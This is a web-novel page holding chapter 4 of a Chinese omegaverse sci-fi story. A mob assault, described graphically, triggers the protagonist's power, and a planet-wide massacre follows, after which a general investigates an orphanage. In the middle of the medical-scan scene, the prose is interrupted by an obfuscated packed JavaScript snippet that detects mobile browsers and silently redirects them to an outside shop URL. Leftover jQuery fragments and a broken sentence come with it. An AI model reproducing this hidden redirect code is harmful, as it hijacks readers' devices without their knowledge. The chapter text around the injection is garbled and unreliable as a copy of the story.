文趣网 > 都市小说 > 信息素失控以后 > 4. 第 4 章
    第四章

    小洛旁边已经围了两层alpha,最里面的几个alpha一起压着他,雷格毫不犹豫的直接撕开人群,扑上去撕他残存的衣服。

    林恩什么都听不见了,他从被撕开的缝隙里看到小洛的脸,他在绝望的哭泣。

    林恩想冲过去,但是alpha们一同把他撞开。他摔倒在地上,爬起来,接着又被alpha撞倒。

    他一个人,无法应对这如山如海的alpha,小洛需要他,但是此时的他却感到羞耻的无能为力。

    小洛在叫着他的名字,声音越来越弱。

    “放开他——”林恩的声音不像从他口中发出,他感觉到身体深处有什么东西在裂开,像冰面被重锤砸了一下,裂缝从脊椎往外蔓延,一路往上窜。

    他听见自己的心跳,一下,两下,三下。每一下,那股力量都在往外涌。

    小洛的惨叫声断了。

    他感觉自己的眼睛也像燃烧起来一般灼热。

    他的瞳孔不再是之前淡淡的金色,此时的瞳孔,是浓烈的、刺眼的金色,灼灼燃烧,像要把周围的一切都烧干净。

    雷格刚趴到小洛身上,身体就僵住了。

    他低头,看见自己的胸口多了一个血淋淋的洞。血往外涌,像关不上的水龙头,他甚至没来得及低头看第二眼,瞳孔就散了。

    他至死都不知道自己是怎么死的。

    林恩收回手,看都没看他一眼,就像扔垃圾一样将雷格甩到墙壁上。

    他跪在小洛面前,小洛已经不动了,他的脸朝下,身体却朝上,已经不完整了。

    一股无法控制的力量从林恩身体里疯狂的涌出来,化成一圈又一圈无形的波动,无色,无味,也无迹可寻。

    却像潮水一样往外蔓延,冲出下水道,冲出废墟,瞬间变成了滔天巨浪,席卷了整个废土星。

    空气震颤,地面的尘埃被无形的力量推动,盘旋浮动在半空中。

    那些正在撕咬的alpha突然停下了动作,他们茫然的站在原地,像是被什么东西控制了大脑,他们眼神变得空洞,意识逐渐消失。

    他们转过身,开始互相撕咬。

    一个alpha扑向身边的同伴,要住他的脖子,血溅出来。另一个从背后捅过来,手直接穿过了对方的肚子。有人跪在地上,抱着自己的断手,张着嘴发不出声。有人被按在碎石堆里,脑袋一下下撞在石头上,直到不再动弹。

    不分敌我,不分地盘,只是扑向最近的人。

    嘶吼声,惨叫声,骨头碎裂的声音混在一起。血溅在残破的楼宇上,溅在干裂的土地里。废土星一夜之间,彻底变成了炼狱。

    林恩跪在血泊里,看着小洛还挂着泪痕的脸,他想喊叫,却喊不出声;想哭,也哭不出来。

    无边的疲惫从骨头里往外渗。

    他身子一软,倒了下去。

    那股席卷了整颗星球的力量,随着林恩意识的消散,瞬间沉寂,无影无踪。

    万里之外,默里的星舰指挥舱里。

    希尔正在给默里做例行检查,传感贴片贴满了后颈和肩颈,“将军,您的腺体负荷已经快到临界值了。”

    默里没接话,他知道,积累了二十年的旧伤,信息素紊乱也不是第一次了。

    就在这时,指挥舱内警报突然炸响。

    监测官的声音都变了调,“将军!废土星监测到未知能量波动,强度超出量程,无法溯源!”

    默里起身,扯掉贴片,走到光屏前。那条能量曲线冲天而起,然后猛地回落,几秒内归于平静。

    他盯着那条曲线。这种能量特征,他没见过,但那股波动震撼了星舰的全域监测阵列。

    那个强度,数值甚至跟他的上限相差无几。

    希尔脸色微变,“将军,您的身体——”

    “调转航向,”默里打断他,“全域航线设定最高等级,即刻返回废土星!”默里目光沉着,命令不带半分迟疑。

    “是!”执行官的手指在主控屏上飞速滑动,立刻重设了星舰跃迁的参数。

    星舰重新悬停在废土星上空的时候,天还没亮。

    从舷窗往下看,整颗星球就像被血洗过。废墟之间到处都是尸体,横七竖八,层层叠叠。血迹在灰黄色的辐射尘下泛着暗沉的褐色。

    “将军,全域扫描发现微弱的生命信号,只有一个。”

    默里盯着光屏上那个孤零零的光点:“登陆,零域特战队全员出动!”

    下水道入口被碎石和铁皮堵死了,队员用最快的速度清理出一条通道,默里弯腰钻进去。

    越往深处走,血腥味越浓。空气里混着铁锈味和腐臭味,糊在鼻腔里。通道两侧的尸体越来越多,有的倒在墙边,有的铺在碎石上,身上全是血。

    默里面无表情的往前走。

    转过一处拐角,队员的脚步突然停住。

    “将军,发现了那名幸存者!”

    昏暗的地下角落,一个人躺在血泊里。

    他周围全是横七竖八的尸体,还有一个成年alpha,胸口破开一个洞,眼睛直勾勾的瞪着上空。

    那个幸存者的呼吸很弱,但还在。

    默里蹲下身,他认出了这张脸。黑市里那个挺直脊背的青年,囚室里那个被他的信息素压的浑身发抖也不低头的beta。

    近侍官在身后轻声说道:“是林恩,将军。”

    默里想起审问时他站在自己面前倔强的模样,想起他回答“流民”时从牙缝里挤出来的两个字。

    他伸手探了探林恩的劲侧,他的大动脉还在微弱的跳动。

    就在这时,林恩的嘴唇动了动。声音很清,像在梦魇,“……福利院……”

    默里的手顿住了。

    “他说什么?”近侍官没听清。

    默里没有回答。他盯着林恩的脸,眉头微微蹙起。

    福利院。

    他想起全域扫描时,北域废墟那片异常的能量收敛区域。那里的能量波形不是溃散,而是向内收敛,显示有什么东西把狂暴的力量禁锢住了。

    只有那一处的能量波形跟其他地方不同。

    “把他带回医疗舱,加派人手看管。”默里站起身。

    星舰的医疗舱里,之前在囚室给林恩做过检测的医疗官温妮,再次接手了检查林恩的人物。

    林恩躺在医疗舱内,身上连接着数不清的线路。

    光屏上的数据一项项跳出来:身体结构正常,后颈无腺体组织,生理特征符合普通beta标准。外伤居多,伴有长期营养不良,体力透支

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603295|205680||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。没有致命伤,生命体征平稳。

    “将军,他只是一个普通的beta。”温妮看着数据,笃定的汇报道。

    默里看了一眼病床上那张苍白的脸。

    他是整个星球暴乱中唯一存活的人,但是他不可能让自己在两次信息素探查中体温异常,也不可能释放撼动全域监测阵列的能量波动。

    “加强监控,不许任何人单独接触。”默里转身往门口走。

    走了两步他停下来,“他昏迷的时候说过一个词,”默里没有回头,“福利院。”

    近侍官愣了一下,马上调出光屏,锁定了福利院的位置,“北域废墟,D-09福利院,是废土星唯一的一个福利院。”

    “通知零域特战队,天亮之后,立刻出发。”默里的声音很淡,他倒是要看看,那里到底藏着什么。

    “是!”近侍官拿起了通讯器。

    天还没亮,零域特战队已经在登陆舱待命了。

    特战队全员二十人,列队两排,站的纹丝不动。防护战甲在晨光里泛着冷硬的哑光黑,每个人的腰侧都配着两把制式断刃,大腿外侧绑着巴掌大的脉冲枪。头盔遮住大半张脸,只露出棱角分明的下颌线。他们没有一个人说话,没有一个人乱动。

    他们是前元首里昂亲自建立的私人武装,是从全军几百万alpha里,一轮一轮筛选,包括体能,格斗,枪法,抗压,忠诚度,每一项都要做到极致。最后留下来的,就是眼前这二十人。

    这支小型部队不归军部管,不听从议会调令,他们只认元首这一脉。默里因为拥有零域特战队的激活码,他们才暂时听从默里的命令。

    但默里从不介意——他要的不是忠诚,而是结果。

    “全员整备完毕。”队长塔轮上前一步,声音不高不低。

    默里扫了一眼列队,“出发。”

    登陆舱门打开,废土星的腥臭风灌进来。二十人鱼贯而出,战术靴踩在碎石上,声音整齐的像一个人。

    队伍一路向北,沿途的尸体越来越多,跟默里第一次下舰所见到的景象相差无几。

    特战技术官盯着扫描光屏,清晰的汇报道:“将军,前方五百米就是福利院。扫描仪显示能量异常区域正在缩小,但是波形没有变,还是向内收敛。”

    默里没说话。

    向内收敛,不是溃散,说明有人在暴乱时做了什么。

    这不像偶然,更像是预谋。

    福利院的铁门半敞,生锈的铰链发出刺耳的声响。院落里杂草丛生,散落着破旧的孩童玩具和矮小的木凳。看上去就是一座普通的孤儿院,被遗弃了,没什么特别的地方。

    默里走进去,目光扫过每一处角落。

    屋内床铺凌乱,被褥散落,餐具随意打翻在地。桌子上还有半袋没吃完的营养剂。

    “人撤得很急。”近侍官在他身后说。

    默里没接话,继续走进院长办公室。

    屋里桌椅翻倒,文件散落一地。墙角有焚烧过的痕迹,灰烬堆成黑乎乎的一团。

    特战队侦查员说道:“报告!收容名单,孩童档案,全部被烧毁。”

    技术官蹲下身,用仪器扫了扫灰烬,“将军,是人为纵火,燃烧时间是暴乱发生之前。”

    默里的眸光沉了下来。